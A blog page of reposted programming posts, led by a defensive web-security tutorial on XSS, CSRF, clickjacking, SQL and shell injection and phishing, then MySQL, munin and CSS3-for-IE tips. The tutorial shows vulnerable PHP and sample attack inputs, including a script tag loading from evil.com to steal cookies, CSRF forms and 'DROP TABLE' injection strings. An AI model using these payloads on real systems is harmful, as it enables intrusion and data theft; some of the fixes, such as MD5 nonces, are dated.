wannabit who do you wanna bit

19Oct/10Off

Common Security Mistakes in Web Applications

Web application developers today need to be skilled in a multitude of disciplines. It’s necessary to build an application that is user friendly, highly performant, accessible and secure, all while executing partially in an untrusted environment that you, the developer, have no control over. I speak, of course, about the User Agent. Most commonly seen in the form of a web browser, but in reality, one never really knows what’s on the other end of the HTTP connection.

There are many things to worry about when it comes to security on the Web. Is your site protected against denial of service attacks? Is your user data safe? Can your users be tricked into doing things they would not normally do? Is it possible for an attacker to pollute your database with fake data? Is it possible for an attacker to gain unauthorized access to restricted parts of your site? Unfortunately, unless we’re careful with the code we write, the answer to these questions can often be one we’d rather not hear.

We’ll skip over denial of service attacks in this article, but take a close look at the other issues. To be more conformant with standard terminology, we’ll talk about Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Phishing, Shell injection and SQL injection. We’ll also assume PHP as the language of development, but the problems apply regardless of language, and solutions will be similar in other languages.

[Offtopic: by the way, did you know that there is a Smashing eBook Series? Book #2 is Successful Freelancing for Web Designers, 260 pages for just $9,90.]

1. Cross-site scripting (XSS)

Cross-site scripting is an attack in which a user is tricked into executing code from an attacker’s site (say evil.com) in the context of our website (let’s call it www.mybiz.com). This is a problem regardless of what our website does, but the severity of the problem changes depending on what our users can do on the site. Let’s look at an example.

Let’s say that our site allows the user to post cute little messages for the world (or maybe only their friends) to see. We’d have code that looks something like this:

<?php
echo "$user said $message";
?>
To read the message in from the user, we’d have code like this:

<?php
$user = $_COOKIE['user'];
$message = $_REQUEST['message'];
if($message) {
save_message($user, $message);
}
?>
<input type="text" name="message" value="<?php echo $message ?>">
This works only as long as the user sticks to messages in plain text, or perhaps a few safe HTML tags like <strong> or <em>. We’re essentially trusting the user to only enter safe text. An attacker, though, may enter something like this:

Hi there...<script src="h++p://evil.com/bad-script.js"></script>
(Note that I’ve changed http to h++p to prevent auto-linking of the URL).

When a user views this message on their own page, they load bad-script.js into their page, and that script could do anything it wanted, for example, it could steal the contents of document.cookie, and then use that to impersonate the user and possibly send spam from their account, or more subtly, change the contents of the HTML page to do nasty things, possibly installing malware onto the reader’s computer. Remember that bad-script.js now executes in the context of www.mybiz.com.

This happens because we’ve trusted the user more than we should. If, instead, we only allow the user to enter contents that are safe to display on the page, we prevent this form of attack. We accomplish this using PHP’s input_filter extension.

We can change our PHP code to the following:

<?php
$user = filter_input(INPUT_COOKIE, 'user',
FILTER_SANITIZE_SPECIAL_CHARS);
$message = filter_input(INPUT_POST | INPUT_GET, 'message',
FILTER_SANITIZE_SPECIAL_CHARS);
if($message) {
save_message($user, $message);
}
?>
<input type="text" name="message" value="<?php echo $message ?>">
Notice that we run the filter on the input and not just before output. We do this to protect against the situation where a new use case may arise in the future, or a new programmer comes in to the project, and forgets to sanitize data before printing it out. By filtering at the input layer, we ensure that we never store unsafe data. The side-effect of this is that if you have data that needs to be displayed in a non-web context (e.g. a mobile text message/pager message), then it may be unsuitably encoded. You may need further processing of the data before sending it to that context.

Now chances are that almost everything you get from the user is going to be written back to the browser at some point, so it may be best to just set the default filter to FILTER_SANITIZE_SPECIAL_CHARS by changing filter.default in your php.ini file.

PHP has many different input filters, and it’s important to use the one most relevant to your data. Very often an XSS creeps in because we use FILTER_SANITIZE_SPECIAL_CHARS when we should have used FILTER_SANITIZE_ENCODED or FILTER_SANITIZE_URL or vice-versa. You should also carefully review any code that uses something like html_entity_decode, because this could potentially open your code up for attack by undoing the encoding added by the input filter.

If a site is open to XSS attacks, then its users’ data is not safe.

2. Cross-site request forgery (CSRF)

A CSRF (sometimes abbreviated as XSRF) is an attack where a malicious site tricks our visitors into carrying out an action on our site. This can happen if a user logs in to a site that they use a lot (e.g. e-mail, Facebook, etc.), and then visits a malicious site without first logging out. If the original site is susceptible to a CSRF attack, then the malicious site can do evil things on the user’s behalf. Let’s take the same example as above.

Since our application reads in input either from POST data or from the query string, an attacker could trick our user into posting a message by including code like this on their website:

<img src="h++p://www.mybiz.com/post_message?message=Cheap+medicine+at+h++p://evil.com/"
style="position:absolute;left:-999em;">
Now all the attacker needs to do, is get users of mybiz.com to visit their site. This is fairly easily accomplished by, for example, hosting a game, or pictures of cute baby animals. When the user visits the attacker’s site, their browser sends a GET request to www.mybiz.com/post_message. Since the user is still logged in to www.mybiz.com, the browser sends along the user’s cookies, thereby posting an advertisement for cheap medicine to all the user’s friends.

Simply changing our code to only accept submissions via POST doesn’t fix the problem. The attacker can change the code to something like this:

<iframe name="pharma" style="display:none;"></iframe>
<form id="pform"
action="h++p://www.mybiz.com/post_message"
method="POST"
target="pharma">
<input type="hidden" name="message" value="Cheap medicine at ...">
</form>
<script>document.getElementById('pform').submit();</script>
Which will POST the form back to www.mybiz.com.

The correct way to to protect against a CSRF is to use a single use token tied to the user. This token can only be issued to a signed in user, and is based on the user’s account, a secret salt and possibly a timestamp. When the user submits the form, this token needs to be validated. This ensures that the request originated from a page that we control. This token only needs to be issued when a form submission can do something on behalf of the user, so there’s no need to use it for publicly accessible read-only data. The token is sometimes referred to as a nonce.

There are several different ways to generate a nonce. For example, have a look at the wp_create_nonce, wp_verify_nonce and wp_salt functions in the WordPress source code. A simple nonce may be generated like this:

<?php
function get_nonce() {
return md5($salt . ":" . $user . ":" . ceil(time()/86400));
}
?>
The timestamp we use is the current time to an accuracy of 1 day (86400 seconds), so it’s valid as long as the action is executed within a day of requesting the page. We could reduce that value for more sensitive actions (like password changes or account deletion). It doesn’t make sense to have this value larger than the session timeout time.

An alternate method might be to generate the nonce without the timestamp, but store it as a session variable or in a server side database along with the time when the nonce was generated. That makes it harder for an attacker to generate the nonce by guessing the time when it was generated.

<?php
function get_nonce() {
$nonce = md5($salt . ":" . $user);
$_SESSION['nonce'] = $nonce;
$_SESSION['nonce_time'] = time();
return $nonce;
}
?>
We use this nonce in the input form, and when the form is submitted, we regenerate the nonce or read it out of the session variable and compare it with the submitted value. If the two match, then we allow the action to go through. If the nonce has timed out since it was generated, then we reject the request.

<?php
if(!verify_nonce($_POST['nonce'])) {
header("HTTP/1.1 403 Forbidden", true, 403);
exit();
}
// proceed normally
?>
This protects us from the CSRF attack since the attacker’s website cannot generate our nonce.

If you don’t use a nonce, your user can be tricked into doing things they would not normally do. Note that even if you do use a nonce, you may still be susceptible to a click-jacking attack.

3. Click-jacking

While not on the OWASP top ten list for 2010, click-jacking has gained recent fame due to attacks against Twitter and Facebook, both of which spread very quickly due to the social nature of these platforms.

Now since we use a nonce, we’re protected against CSRF attacks, however, if the user is tricked into clicking the submit link themselves, then the nonce won’t protect us. In this kind of attack, the attacker includes our website in an iframe on their own website. The attacker doesn’t have control over our page, but they do control the iframe element. They use CSS to set the iframe’s opacity to 0, and then use JavaScript to move it around such that the submit button is always under the user’s mouse. This was the technique used on the Facebook Like button click-jack attack.

Frame busting appears to be the most obvious way to protect against this, however it isn’t fool proof. For example, adding the security="restricted" attribute to an iframe will stop any frame busting code from working in Internet Explorer, and there are ways to prevent frame busting in Firefox as well.

A better way might be to make your submit button disabled by default and then use JavaScript to enable it once you’ve determined that it’s safe to do so. In our example above, we’d have code like this:

<input type="text" name="message" value="<?php echo $message ?>">
<input id="msg_btn" type="submit" disabled="true">
<script type="text/javascript">
if(top == self) {
document.getElementById("msg_btn").disabled=false;
}
</script>
This way we ensure that the submit button cannot be clicked on unless our page runs in a top level window. Unfortunately, this also means that users with JavaScript disabled will also be unable to click the submit button.

4. SQL injection

In this kind of an attack, the attacker exploits insufficient input validation to gain shell access on your database server. XKCD has a humorous take on SQL injection:

Full image (from xkcd)

Let’s go back to the example we have above. In particular, let’s look at the save_message() function.

<?php
function save_message($user, $message)
{
$sql = "INSERT INTO Messages (
user, message
) VALUES (
'$user', '$message'
)";

return mysql_query($sql);
}
?>
The function is oversimplified here, but it exemplifies the problem. The attacker could enter something like

test');DROP TABLE Messages;--
When this gets passed to the database, it could end up dropping the Messages table, causing you and your users a lot of grief. This kind of an attack calls attention to the attacker, but little else. It’s far more likely for an attacker to use this kind of attack to insert spammy data on behalf of other users. Consider this message instead:

test'), ('user2', 'Cheap medicine at ...'), ('user3', 'Cheap medicine at ...
Here the attacker has successfully managed to insert spammy messages into the comment streams from user2 and user3 without needing access to their accounts. The attacker could also use this to download your entire user table that possibly includes usernames, passwords and email addresses.

Fortunately, we can use prepared statements to get around this problem. In PHP, the PDO abstraction layer makes it easy to use prepared statements even if your database itself doesn’t support them. We could change our code to use PDO.

<?php
function save_message($user, $message)
{
// $dbh is a global database handle
global $dbh;

$stmt = $dbh->prepare('
INSERT INTO Messages (
user, message
) VALUES (
?, ?
)');
return $stmt->execute(array($user, $message));
}
?>
This protects us from SQL injection by correctly making sure that everything in $user goes into the user field and everything in $message goes into the message field even if it contains database meta characters.

There are cases where it’s hard to use prepared statements. For example, if you have a list of values in an IN clause. However, since our SQL statements are always generated by code, it is possible to first determine how many items need to go into the IN clause, and add as many ? placeholders instead.

5. Shell injection

Similar to SQL injection, the attacker tries to craft an input string to gain shell access to your web server. Once they have shell access, they could potentially do a lot more. Depending on access privileges, they could add JavaScript to your HTML pages, or gain access to other internal systems on your network.

Shell injection can take place whenever you pass untreated user input to the shell, for example by using the system(), exec() or `` commands. There may be more functions depending on the language you use when building your web app.

The solution is the same for XSS attacks. You need to validate and sanitize all user inputs appropriately for where it will be used. For data that gets written back into an HTML page, we use PHP’s input_filter() function with the FILTER_SANITIZE_SPECIAL_CHARS flag. For data that gets passed to the shell, we use the escapeshellcmd() and escapeshellarg() functions. It’s also a good idea to validate the input to make sure it only contains a whitelist of characters. Always use a whitelist instead of a blacklist. Attackers find inventive ways of getting around a blacklist.

If an attacker can gain shell access to your box, all bets are off. You may need to wipe everything off that box and reimage it. If any passwords or secret keys were stored on that box (in configuration files or source code), they will need to be changed at all locations where they are used. This could prove quite costly for your organization.

6. Phishing

Phishing is the process where an attacker tricks your users into handing over their login credentials. The attacker may create a page that looks exactly like your login page, and ask the user to log in there by sending them a link via e-mail, IM, Facebook, or something similar. Since the attacker’s page looks identical to yours, the user may enter their login credentials without realizing that they’re on a malicious site. The primary method to protect your users from phishing is user training, and there are a few things that you could do for this to be effective.

Always serve your login page over SSL. This requires more server resources, but it ensures that the user’s browser verifies that the page isn’t being redirected to a malicious site.
Use one and only one URL for user log in, and make it short and easy to recognize. For our example website, we could use https://login.mybiz.com as our login URL. It’s important that when the user sees a login form for our website, they also see this URL in the URL bar. That trains users to be suspicious of login forms on other URLs
Do not allow partners to ask your users for their credentials on your site. Instead, if partners need to pull user data from your site, provide them with an OAuth based API. This is also known as the Password Anti-Pattern.
Alternatively, you could use something like a sign-in image that some websites are starting to use (e.g. Bank of America, Yahoo!). This is an image that the user selects on your website, that only the user and your website know about. When the user sees this image on the login page, they know that this is the right page. Note that if you use a sign-in seal, you should also use frame busting to make sure an attacker cannot embed your sign-in image page in their phishing page using an iframe.
If a user is trained to hand over their password to anyone who asks for it, then their data isn’t safe.

Summary

While we’ve covered a lot in this article, it still only skims the surface of web application security. Any developer interested in building truly secure applications has to be on top of their game at all times. Stay up to date with various security related mailing lists, and make sure all developers on your team are clued in. Sometimes it may be necessary to sacrifice features for security, but the alternative is far scarier.

Finally, I’d like to thank the Yahoo! Paranoids for all their help in writing this article

Filed under: Programming Comments Off
29Jul/10Off

Generate PHP Getters and Setters

a nice tool to generate getter and setters for your php classes
http://michaelpeacock.co.uk/getters-setters/

Filed under: Programming Comments Off
21May/10Off

How to export from mysql into csv file

If you need to export from mysql into csv file, what you have to do is the following:

SELECT * INTO OUTFILE '/tmp/myfile.csv'
FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY '\n'
FROM my_table;

to import the results from csv into mysql instead the process is the following:

LOAD DATA LOCAL INFILE '/tmp/myfile.csv'
INTO TABLE my_table
FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY '\n';

note: you need to specify all the fields in the table. if in your table there is an AUTO_INCREMENT field just set that column to 0 (zero).

Filed under: Programming Comments Off
2May/10Off

monitor server performance

A useful tool to monitor your server performance is munin.
Once you install this tool you can monitor trough web things like:

  • Apache
  • Disk
  • Mysql
  • Network
  • Postfix
  • Processes
  • System

is very easy to install, you can use the following commands:
apt-get install munin munin-node
nano /etc/munin/munin.conf
and check this lines:

dbdir /var/lib/munin
htmldir /var/www/mysite/munin
logdir /var/log/munin
rundir /var/run/munin

tmpldir /etc/munin/templates

[server1.mysite.com]
address 127.0.0.1
use_node_name yes

and finally:
mkdir -p /var/www/mysite/munin
chown munin:munin /var/www/mysite/munin
/etc/init.d/munin-node restart

Filed under: Programming Comments Off
29Apr/10Off

CSS3 Solutions for Internet Explorer

CSS3 is probably the hottest trend in web design right now, allowing developers the opportunity to implement a number of solutions into their projects with some very straightforward CSS while avoiding having to resort to nonsemantic markup, extra images, and complex JavaScript. Unfortunately, it’s not a surprise that Internet Explorer, even in its most recent version, still does not support the majority of the properties and features introduced in CSS3.

Experienced developers understand that CSS3 can be added to new projects with progressive enhancement in mind. This ensures that content is accessible while non-supportive browsers fall back to a less-enhanced experience for the user.

But developers could face a situation where a client insists that the enhancements work cross-browser, demanding support even for IE6. In that case, I’ve collected together a number of options that developers can consider for those circumstances where support for a CSS3 feature is required for all versions of Internet Explorer (IE6, IE7, & IE8 — all of which are still currently in significant use).

Opacity / Transparency

I think all developers are baffled at why Internet Explorer still fails to support this very popular (albeit troublesome) property. It’s been around so long, that we often forget that it’s actually a CSS3 property. Although IE doesn’t offer support for the opacity property, it does offer similar transparency settings via the proprietary filter property:

The Syntax

#myElement {
opacity: .4; /* other browsers */
filter: progid:DXImageTransform.Microsoft.Alpha(opacity=40); /* this works in IE6, IE7, and IE8 */
-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(opacity=40)"; /* this works in IE8 only */
}

You really only need the second line, which works in all three versions of Internet Explorer. But if for some reason you needed the opacity setting to apply only to IE8, and not to IE6/7, then you can use the third line, which the older versions don't recognize.

The opacity value at the end of each IE line works basically the same way that the opacity property does, taking a number from 0 to 100 (the opacity property takes a two-digit number from 0 to 1, so "44" for IE would be "0.44" for the others). Also, as many have experienced when using opacity (even when using the standard method), the opacity settings will be inherited by all child elements, for which there is no easy workaround.

The Drawbacks

The filter property is a Microsoft-only property, so your CSS won’t validate
As is the case for the opacity property, the IE filter causes all child elements to inherit the opacity

Rounded Corners (border-radius)

The border-radius property (more commonly referred to as CSS3 rounded corners) is another popular CSS3 enhancement. This property has allowed developers to avoid the headache of bloated JavaScript or extra positioned elements to achieve the same effect. But once again, Microsoft doesn’t want to cooperate, so IE doesn’t have any support for this property.

Fortunately, at least one person has come up with a very usable workaround that can be used in an IE-only stylesheet. Remiz Rahnas of HTML Remix has created an HTC file called CSS Curved Corner that can be downloaded off Google Code.

The great thing about this piece of code is that it doesn’t require any extra maintenance if you adjust the amount of radius on your rounded corners. You just link to the file in your CSS, and the script will automatically parse your CSS to find the correct radius value from the standard border-radius property.

The Syntax

Here’s what your code might look like:

.box-radius {
border-radius: 15px;
behavior: url(border-radius.htc);
}

The way it works is pretty straightforward, as shown above. Ideally, however, you would apply the behavior property in an IE-only stylesheet, using the same selector in your CSS, so the code knows where to get the radius value from.

The Drawbacks

The HTC file is 142 lines (minifying or GZipping would help, but it’s still extra bloat)
The behavior property will make your CSS invalid
Your server needs to be able to load HTC files for this technique to work
IE8 seems to have some trouble in some circumstances when the HTC file forces the curved element to have a negative z-index value

Box Shadow

The box-shadow property is another useful CSS3 feature that will even add a curved box shadow naturally to an element that uses the border-radius property. IE doesn’t support box-shadow, but a filter is available that offers a close replication.

It should be noted that the box-shadow property has been removed from the CSS3 Backgrounds and Borders Module, so its future in CSS3 seems to be a little uncertain right now.

The Syntax

.box-shadow {
-moz-box-shadow: 2px 2px 3px #969696; /* for Firefox 3.5+ */
-webkit-box-shadow: 2px 2px 3px #969696; /* for Safari and Chrome */
filter: progid:DXImageTransform.Microsoft.Shadow(color='#969696', Direction=145, Strength=3);
}

As shown above, in addition to the proprietary WebKit and Mozilla properties, you can add a shadow filter that works in all versions of Internet Explorer.

The Drawbacks

The settings for the IE shadow filter do not match those of the other proprietary properties, so in order to make it look the same, you have to fiddle with the values until you get it right, which can cause maintenance headaches
The filter property doesn’t validate, but neither do the WebKit and Mozilla properties, so this is a drawback in all browsers

Text Shadow

Adding drop shadows to text elements has been practiced in both print and web design for years. On the web, this is normally done with images and occasionally with text duplication combined with positioning. CSS3 allows developers to easily add shadows to text using a simple and flexible text-shadow property.

Unfortunately, there doesn’t seem to be an easy way to add a text shadow in Internet Explorer — even with the use of proprietary filters. To deal with this problem, a Dutch front-end developer named Kilian Valkhof has written a jQuery plugin that implements text shadows in Internet Explorer.

The Syntax

First, in your CSS, you would set the text-shadow property:


.text-shadow {
text-shadow: #aaa 1px 1px 1px;
}

The values specify the shadow color, position on the horizontal axis, position on the vertical axis, and the amount of blur.

After including the jQuery library and the plugin in your document, you can call the plugin with jQuery:

// include jQuery library in your page
// include link to plugin in your page

$(document).ready(function(){
$(".text-shadow").textShadow();
});

The plugin also allows the use of parameters to override the CSS. See the plugin author’s original web page for more details on the parameters.

Although there is a cross-browser jQuery plugin that applies drop shadows, the one I’m demonstrating above actually utilizes the CSS3 value that’s already set in your CSS, so it has the advantage of working along with the standard CSS setting for text shadows, whereas the other plugin needs to be set independently.

The Drawbacks

There are some significant drawbacks to this method that make it very unlikely to ever be practical. You’re probably better off creating an image to replace the text for IE instead.

In order to make the shadow look almost the same in IE, you need to use different settings in an IE-only stylesheet, adding to development and maintenance time
Requires that you add the jQuery library, in addition to a 61-line plugin file (GZipping or minifying would help)
The IE version of the shadow never looks exactly the same as the other browsers
When using the overriding parameters, the plugin seems to be rendered somewhat useless, displaying a big ugly shadow that won’t change with new values
Unlike the CSS3 version, the plugin doesn’t support multiple shadows
For some reason, in order to get it to work in IE8, you need to give the element a z-index value

Transparent Background Colors (RGBA)

CSS3 offers another method to implement transparency, doing so through an alpha channel that’s specified on a background color. Internet Explorer offers no support for this, but this can be worked around.

The Syntax

The solution for this is not the greatest, but is a legitimate method. For the CSS3-compliant browsers, here’s the syntax to set an alpha channel on the background of an element:

#rgba p {
background: rgba(98, 135, 167, .4);
}

With the above CSS, the background color will be set to the RGB values shown, plus the optional “alpha” value of “.4″. To mimic this in Internet Explorer, you can use a semi-transparent 1-pixel PNG image set as a repeating background in an IE-only stylesheet, which would override the previous setting. The PNG can be set to the same level of transparency when the image is created:

#rgba p {
background: transparent url(rgba-ie.png) repeat 0 0;
}

The repeating PNG image will look exactly the same in IE as in other browsers, duplicating the RGBA transparency effect.

The Drawbacks

Maintenance requires creation of a new PNG file every time the color or transparency is adjusted
Adds an extra HTTP request by referencing the image instead of a color value
IE6 doesn’t support PNG transparency natively, so a JavaScript hack is needed, which is a little trickier to achieve with backgrounds and will add two more HTTP requests

Gradients

Another practical and time-saving technique introduced in CSS3 is the ability to create custom gradients as backgrounds. Although Internet Explorer doesn’t support gradients of the CSS3 variety, it’s pretty easy to implement them for the IE family using proprietary syntax.

The Syntax

To declare a gradient that looks the same in all browsers, including all versions of Internet Explorer, use the CSS shown below (the last two lines are for IE):

#gradient {
background-image: -moz-linear-gradient(top, #81a8cb, #4477a1); /* Firefox 3.6 */
background-image: -webkit-gradient(linear,left bottom,left top,color-stop(0, #4477a1),color-stop(1, #81a8cb)); /* Safari & Chrome */
filter: progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#81a8cb', endColorstr='#4477a1'); /* IE6 & IE7 */
-ms-filter: "progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#81a8cb', endColorstr='#4477a1')"; /* IE8 */
}

For the IE filters, the GradientType can be set to “1″ (horizontal) or “0″ (vertical).

The Drawbacks

Some of the usual drawbacks apply to gradients created with the IE-only filter, along with some other problems.

Your CSS won’t validate, although that’s also true for the WebKit and Mozilla values
Different code is needed for IE8, adding to maintenance time
The WebKit and Mozilla gradients allow for “stops” to be declared; this doesn’t seem to be possible with the IE gradient, limiting its flexibility
IE’s filter doesn’t seem to have a way to declare “radial” gradients, which WebKit and Mozilla support
For a gradient to be visible in IE, the element with the gradient must have layout

Multiple Backgrounds

This is another CSS3 technique that, when widely supported, could prove to be a very practical addition to CSS development. Currently, IE and Opera are the only browsers that don’t support this feature. But interestingly, IE as far back as version 5.5 has allowed the ability to implement multiple backgrounds on the same element using a filter.

The Syntax

You might recall trying to hack a PNG in IE6 and noticing the image you were trying to hack appearing twice, which you had to remove by adding background: none, then applying the filter. Well, using the same principle, IE allows two background images to be declared on the same element.

To use multiple backgrounds in Firefox, Safari, and Chrome, here’s the CSS:

#multi-bg {
background: url(images/bg-image-1.gif) center center no-repeat, url(images/bg-image-2.gif) top left repeat;
}

To apply two backgrounds to the same element in IE, use the following in an IE-only stylesheet:

#multi-bg {
background: transparent url(images/bg-image-1.gif) top left repeat;
filter: progid:DXImageTransform.Microsoft.AlphaImageLoader (src='images/bg-image-2.gif', sizingMethod='crop'); /* IE6-8 */
-ms-filter: "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='images/bg-image-2.gif', sizingMethod='crop')"; /* IE8 only */
}

The Drawbacks

Your CSS will be invalid
The second background image applied using the filter property will always be in the top left, and cannot repeat, so this method is extremely inflexible and can probably only be used in a limited number of circumstances
In order to get the element to center (as in other browsers), you have to create an image with the exact amount of whitespace around it, to mimic the centering, as I’ve done in the demonstration above

Element Rotation (CSS Tranformations)

CSS3 has introduced a number of transformation and animation capabilities, which some have suggested are out of place in CSS. Nonetheless, there is a way to mimic element rotation in Internet Explorer, albeit in a limited fashion.

The Syntax

To rotate an element 180 degrees (that is, to flip it vertically), here is the CSS3 syntax:


#rotate {
-webkit-transform: rotate(180deg);
-moz-transform: rotate(180deg);
}

To create the exact same rotation in Internet Explorer, you use a proprietary filter:

#rotate {
filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=2);
}

The value for the rotation can be either 1, 2, 3, or 4. Those numbers represent 90, 180, 270, or 360 degrees of rotation respectively.

The Drawbacks

Your CSS won’t validate, although that’s also true for the WebKit and Mozilla code
While the Mozilla and WebKit code allows for rotation changes to increment by a single degree, the IE filter only permits 4 stages of rotation, minimizing its flexibility
Conclusion

Developers might hate me for compiling this list, seeing as any client could search for “CSS3 in Internet Explorer” and stumble across this page. So be careful what you tell your clients; although IE does not support these things natively, that doesn’t mean they’re impossible to implement.

And remember that anytime you need to override the initial CSS settings for IE, or if you have to use JavaScript, jQuery, or an HTC file, make sure the calls to the external resources are made using IE conditional comments. This will ensure the other browsers aren’t making unnecessary HTTP requests.

In many cases, the best solution for dealing with Internet Explorer is to let it display a less-enhanced experience. I hope, however, the above solutions provide some options for working with CSS3 when a client wants a more accurate cross-browser experience.

FROM:http://www.smashingmagazine.com/2010/04/28/css3-solutions-for-internet-explorer/